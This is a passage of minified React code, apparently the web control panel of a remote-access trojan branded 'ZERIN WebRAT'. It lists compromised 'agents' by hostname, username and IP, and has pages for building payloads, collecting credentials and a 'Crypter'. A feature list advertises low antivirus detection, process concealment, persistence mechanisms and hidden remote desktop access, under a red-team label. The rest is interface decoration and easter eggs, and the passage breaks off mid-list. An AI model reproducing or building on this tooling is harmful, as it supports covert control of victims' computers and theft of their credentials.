AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),s=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.08,t+.1),s.gain.setValueAtTime(.08,t+.8),s.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(s).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function R6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function $6(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=`
|
||
position:absolute;left:0;right:0;height:2px;
|
||
top:${n*13}%;
|
||
background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent);
|
||
box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"};
|
||
opacity:0;
|
||
animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards;
|
||
`,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,s=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=`
|
||
position:absolute;left:${s}%;top:${o}%;
|
||
width:${i}px;height:${i}px;
|
||
background:${u};border-radius:50%;
|
||
box-shadow:0 0 8px ${u}, 0 0 16px ${u}40;
|
||
--synth-dx:${l}px;--synth-dy:${c}px;
|
||
animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards;
|
||
`,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let iy=0,im=0;function B6(e,t){const n=Date.now();if(n-iy<40)return;iy=n,im=(im+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=im<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function F6(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,s=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=`
|
||
left:${s}vw;width:${i}px;height:${i}px;
|
||
clip-path:${o};
|
||
border:1.5px solid ${r};
|
||
box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30;
|
||
background:${r}08;
|
||
`,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function W6(){const[e,t]=m.useState(!1),n=m.useRef([]),r=m.useRef();return m.useEffect(()=>{function i(s){var u,d;const o=(u=s.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=s.target)!=null&&d.isContentEditable)return;const l=s.key.length===1?s.key.toLowerCase():s.key;n.current.push(l);const c=ry.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);ry.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?R6():(D6(),$6()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),m.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),m.useEffect(()=>{if(!e)return;const i=s=>B6(s.clientX,s.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),m.useEffect(()=>{if(!e)return;const i=()=>{F6(),s=setTimeout(i,5e3+Math.random()*5e3)};let s=setTimeout(i,2e3);return()=>clearTimeout(s)},[e]),{isActive:e}}const U6={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},V6={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},H6={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},K6={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},G6={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function xd({status:e,size:t="md",showLabel:n=!1}){return a.jsxs("span",{className:"inline-flex items-center gap-2",children:[a.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block rounded-full ${U6[t]} ${H6[e]}`})]}),n&&a.jsx("span",{className:`font-mono font-medium tracking-wider ${V6[t]} ${K6[e]}`,children:G6[e]})]})}function Y6({open:e,onClose:t,agents:n}){const[r,i]=m.useState(""),[s,o]=m.useState(0),l=m.useRef(null),c=xr(),u=m.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(p=>p.hostname.toLowerCase().includes(f)||p.username.toLowerCase().includes(f)||p.internal_ip.includes(f)||p.external_ip.includes(f)||p.id.toLowerCase().includes(f)).slice(0,10).map(p=>({type:"agent",id:p.id,primary:p.hostname,secondary:`${p.username} — ${p.internal_ip}`,agent:p}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);m.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),m.useEffect(()=>{o(0)},[r]);const d=m.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return m.useEffect(()=>{if(!e)return;function f(p){if(p.key==="Escape"){t();return}p.key==="ArrowDown"&&(p.preventDefault(),o(h=>Math.min(h+1,u.length-1))),p.key==="ArrowUp"&&(p.preventDefault(),o(h=>Math.max(h-1,0))),p.key==="Enter"&&u[s]&&(p.preventDefault(),d(u[s]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,s,t,d]),e?a.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[a.jsx("div",{className:"absolute inset-0 bg-black/60"}),a.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),a.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),a.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?a.jsx("div",{className:"px-4 py-8 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):a.jsxs("div",{className:"py-1",children:[!r&&a.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,p)=>a.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(p),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${p===s?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&a.jsx(xd,{status:f.agent.status,size:"sm"}),a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("p",{className:`text-sm font-medium truncate ${p===s?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),a.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),a.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let ca={status:"idle",payloadName:"",startedAt:0,error:""};const Tp=new Set;function vd(){Tp.forEach(e=>e())}function Oj(){return ca}function Tj(e){return Tp.add(e),()=>Tp.delete(e)}function q6(e){ca={status:"building",payloadName:e,startedAt:Date.now(),error:""},vd()}function X6(){ca={...ca,status:"success"},vd()}function ay(e){ca={...ca,status:"error",error:e},vd()}function sy(){ca={status:"idle",payloadName:"",startedAt:0,error:""},vd()}const gd=m.createContext({lastMessage:null}),Z6=[{to:"/dashboard",label:"Dashboard",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})},{to:"/credentials",label:"Credentials",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M18 8a6 6 0 01-7.743 5.743L10 14l-1 1-1 1H6v2H2v-4l4.257-4.257A6 6 0 1118 8zm-6-4a1 1 0 100 2 2 2 0 012 2 1 1 0 102 0 4 4 0 00-4-4z",clipRule:"evenodd"})})}],Q6={to:"/crypter",label:"Crypter",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},J6={to:"/admin",label:"Admin",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function e_(){const e=m.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return a.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>a.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function t_(){const{logout:e,isAdmin:t}=ya(),r=m.useSyncExternalStore(Tj,Oj).status==="building",s=kj()==="rat_crypter"||t,o=[...Z6,...s?[Q6]:[],...t?[J6]:[]],l=xr(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:p,isSupported:h}=C6(),[x,g]=m.useState(!1),[y,v]=m.useState([]),{isActive:b,handleStatusClick:w}=I6(),{isActive:j}=W6(),[N,k]=m.useState(!1),z=m.useRef(""),S=m.useRef(null);m.useEffect(()=>{function D(G){var K,_;if(N||G.ctrlKey||G.metaKey||G.altKey)return;const R=(K=G.target)==null?void 0:K.tagName;R==="INPUT"||R==="TEXTAREA"||R==="SELECT"||(_=G.target)!=null&&_.isContentEditable||G.key.length===1&&(z.current+=G.key.toLowerCase(),z.current.length>20&&(z.current=z.current.slice(-10)),S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{z.current=""},3e3),z.current.includes("credits")&&(z.current="",k(!0)))}return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[N]),m.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const O=m.useCallback(async()=>{try{const D=await Sj();v(D)}catch{}},[]);m.useEffect(()=>{O();const D=setInterval(O,15e3);return()=>clearInterval(D)},[O]);const A=m.useCallback(D=>{if(D.type==="agent_update"){const G=D.payload;v(R=>{const K=R.findIndex(_=>_.id===G.id);if(K>=0){const _=[...R];return _[K]=G,_}return p("New Agent Connected",`${G.hostname} (${G.internal_ip})`),[G,...R]})}if(D.type==="event"){const G=D.payload;(G.type==="task_completed"||G.type==="task_failed")&&p("Task Update",G.message)}},[p]),{isConnected:T,lastMessage:P}=S6({onMessage:A});return m.useEffect(()=>{function D(G){(G.metaKey||G.ctrlKey)&&G.key==="k"&&(G.preventDefault(),g(R=>!R))}return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[]),a.jsx(gd.Provider,{value:{lastMessage:P},children:a.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[a.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[a.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:a.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"femboy-ear femboy-ear-left"}),a.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),a.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),a.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),a.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r
|
||
text-zerin-text-muted border border-zerin-panel-border\r
|
||
hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r
|
||
transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Search..."}),a.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),a.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:D,label:G,icon:R})=>a.jsx(VE,{to:D,end:D==="/dashboard",className:({isActive:K})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150
|
||
${K?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:K})=>a.jsxs(a.Fragment,{children:[K&&a.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),a.jsx("span",{className:K?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:R}),a.jsx("span",{className:"font-medium",children:G}),D==="/payloads"&&r&&a.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},D))}),a.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&a.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r
|
||
text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r
|
||
transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),a.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${T?"bg-zerin-accent":"bg-zinc-600"}`}),a.jsx("span",{className:T?"text-zerin-text-dim":"text-zerin-text-muted",children:T?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),a.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r
|
||
text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r
|
||
transition-colors duration-150`,children:[a.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),a.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),a.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),a.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:a.jsx(_E,{})}),a.jsx(Y6,{open:x,onClose:()=>g(!1),agents:y}),b&&a.jsx(e_,{}),N&&a.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>k(!1),style:{animation:"credits-in 0.5s ease-out"},children:[a.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),a.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[a.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:`
|
||
_______ ______ ______ _____ __ _
|
||
/ |______ |_____/ | | \\ |
|
||
/ |______ | \\_ __|__ | \\_|
|
||
`}),a.jsxs("div",{className:"space-y-4 mb-10",children:[a.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),a.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),a.jsx("style",{children:`
|
||
@keyframes credits-in {
|
||
from { opacity: 0; }
|
||
to { opacity: 1; }
|
||
}
|
||
@keyframes glitch-appear {
|
||
0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); }
|
||
50% { transform: scale(1.02) translateY(-2px); filter: blur(0); }
|
||
100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); }
|
||
}
|
||
@keyframes credits-glow {
|
||
from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); }
|
||
to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); }
|
||
}
|
||
@keyframes credit-slide {
|
||
from { opacity: 0; transform: translateY(15px); }
|
||
to { opacity: 1; transform: translateY(0); }
|
||
}
|
||
`})]})]})})}const n_=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let N=0;N<c;N++){const k=N/c*.07;u[N]=`rgba(6,182,212,${k.toFixed(4)})`}const d=60;let f=0,p=0,h=0,x=0,g;function y(){n.width=window.innerWidth,n.height=window.innerHeight,f=Math.ceil(n.width/d)+1,p=Math.ceil(n.height/d)+1,h=n.width/2,x=n.height/2,g=new Float32Array(p*f);for(let N=0;N<p;N++)for(let k=0;k<f;k++){const z=k*d-h,S=N*d-x;g[N*f+k]=Math.sqrt(z*z+S*S)*.005}}y(),window.addEventListener("resize",y);let v=null;function b(){v=document.createElement("canvas"),v.width=n.width,v.height=n.height;const N=v.getContext("2d");N.fillStyle="rgba(0,0,0,0.12)";for(let k=0;k<v.height;k+=4)N.fillRect(0,k,v.width,1)}b();function w(N){if(i=requestAnimationFrame(w),N-o<l)return;o=N,s+=.003*(l/16.67);const k=n.width,z=n.height;r.clearRect(0,0,k,z);const S=Math.PI*2;let O=0;for(let A=0;A<p;A++){const T=A*d;for(let P=0;P<f;P++){const G=(Math.sin(g[O++]-s)*.5+.5)*c|0;r.fillStyle=u[G<c?G:c-1],r.beginPath(),r.arc(P*d,T,1,0,S),r.fill()}}v&&v.width===k&&v.height===z&&r.drawImage(v,0,0)}i=requestAnimationFrame(w);const j=()=>{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function r_(e,t=40,n=0){const r=m.useRef(null),i=m.useRef(null),[s,o]=m.useState(!1);return m.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:s}}const i_=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during 